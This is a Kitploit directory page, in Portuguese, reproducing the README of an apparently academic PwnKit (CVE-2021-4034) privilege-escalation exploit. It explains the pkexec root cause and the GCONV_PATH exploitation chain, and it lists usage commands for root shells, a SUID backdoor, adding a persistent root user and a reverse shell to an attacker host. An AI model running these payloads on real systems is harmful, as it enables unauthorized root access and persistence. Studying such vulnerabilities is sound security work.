Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-4034 — Pesquisa de dissertação de mestrado sobre CVE-2021-4034 (PwnKit) escalonamento de privilégio local. Exploit Python multi-payload com 7 modos incluindo shell interativo, backdoor SUID, reverse shell e criação de usuário root. Inclui análise de causa raiz e documentação da cadeia de exploração. | Kitploit
Ferramentas/GitHubGitHub/devianntsec/cve-2021-4034
Escalada de PrivilégiosForensia de MemóriaAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Pesquisa de dissertação de mestrado sobre CVE-2021-4034 (PwnKit) escalonamento de privilégio local. Exploit Python multi-payload com 7 modos incluindo shell interativo, backdoor SUID, reverse shell e criação de usuário root. Inclui análise de causa raiz e documentação da cadeia de exploração.

Exploração de Binários
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Ver Repositório
153há 6 mesesAinda não revisado
Compartilhar

CVE-2021-4034 — PwnKit Escalação de Privilégio Local · Pesquisa de Dissertação de Mestrado

Platform Language License: MIT Research CVSS

Vulnerabilidade de corrupção de memória no utilitário pkexec do polkit
Escalação de Privilégio Local → root via escrita fora dos limites (out-of-bounds write)
Afetados: polkit 0.105-31 e anteriores · Correção: polkit 0.105-33 (janeiro de 2022)


Shell root interativo obtido via CVE-2021-4034 - PwnKit

Descrição

Este repositório contém minha pesquisa de Dissertação de Mestrado sobre a CVE-2021-4034, uma vulnerabilidade de alta gravidade (CVSS 7.8) de Escalação de Privilégio Local no utilitário pkexec do polkit, comumente conhecida como PwnKit.

A vulnerabilidade tem origem em uma escrita fora dos limites (out-of-bounds write) na lógica de processamento de argumentos do pkexec. Quando o pkexec é executado com um argv vazio ou manipulado, ele lê e escreve além dos limites do array argv, dentro do array envp, permitindo que um usuário local sem privilégios injete variáveis de ambiente maliciosas que são posteriormente carregadas como uma biblioteca compartilhada, executando código arbitrário com privilégios de root.

Minha Contribuição

AspectoDescrição
Exploit multi-payloadWrapper em Python com 6 modos de payload, incluindo shell, id, backdoor e reverse shell
Configuração automatizada do ambienteConstrução automática do GCONV_PATH e configuração do gconv-modules
Módulos de pós-exploraçãoBackdoor SUID, criação de usuário root e execução de comandos personalizados
Documentação acadêmicaAnálise de causa raiz, cadeia de exploração e linha do tempo da vulnerabilidade

Estrutura do Repositório

CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

Início Rápido

Pré-requisitos

  • Sistema Linux com polkit vulnerável (pkexec --version mostra 0.105 ou anterior)
  • Compilador GCC (apt install gcc)
  • Python 3.6+
  • Conta de usuário padrão (sem necessidade de root)
  • VM isolada recomendada para testes

Uso

# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Referência de Payloads

PayloadDescriçãoSaída
shellInicia um /bin/sh interativo como rootShell interativo
idGrava a saída de id e whoami em /tmp/pwnkit_id.txtArquivo
whoamiGrava a verificação de UID/eUID em /tmp/pwnkit_root_testArquivo
backdoor_suidCria uma cópia bash SUID de root em /tmp/.shBackdoor persistente
add_root_userAdiciona usuário personalizado ao /etc/passwdAcesso persistente
reverse_shellConecta de volta ao atacante via PythonShell remoto
customExecuta qualquer comando como rootStdout / arquivo

Visão Geral Técnica

Causa Raiz da Vulnerabilidade

O pkexec processa seu próprio argv para localizar o programa que será executado. Quando invocado com argc == 0 (vetor de argumentos vazio), a verificação de limites do argv falha silenciosamente. A subsequente leitura fora dos limites trata envp[0] como argv[1], e a escrita fora dos limites de volta em envp permite que um atacante substitua uma variável de ambiente por um caminho manipulado. Quando o pkexec chama g_printerr() posteriormente, ele carrega GCONV_PATH do ambiente agora controlado pelo atacante, carregando uma biblioteca compartilhada fornecida pelo atacante com privilégios de root.

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Cadeia de Exploração

1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

Principais Detalhes Técnicos

ComponenteValorNotas
Binário vulnerável/usr/bin/pkexecSUID root
Condição de disparoargc == 0argv vazio
Primitiva de escritaEscrita OOB em envpVia argv[argc-1]
Mecanismo de cargaGCONV_PATH + gconv-modulesiconv padrão do glibc
Contexto de execuçãogconv_init() na biblioteca compartilhadaExecuta como EUID 0
Versões afetadaspolkit ≤ 0.105-31Todas as principais distros Linux

Demonstrações

Shell Root Interativo

Shell Interativo

Verificação de ID

Payload ID

Verificação de Whoami

Payload Whoami

Backdoor SUID

Payload Backdoor

Adicionar Usuário Root

Adicionar Usuário Root

Reverse Shell

Reverse Shell

Comando Personalizado

Payload Personalizado


Testes Empíricos

Todos os testes foram conduzidos em uma VM VirtualBox isolada executando Ubuntu 20.04 LTS com polkit 0.105-26 (vulnerável), sem exposição à rede.

Baixar ferramenta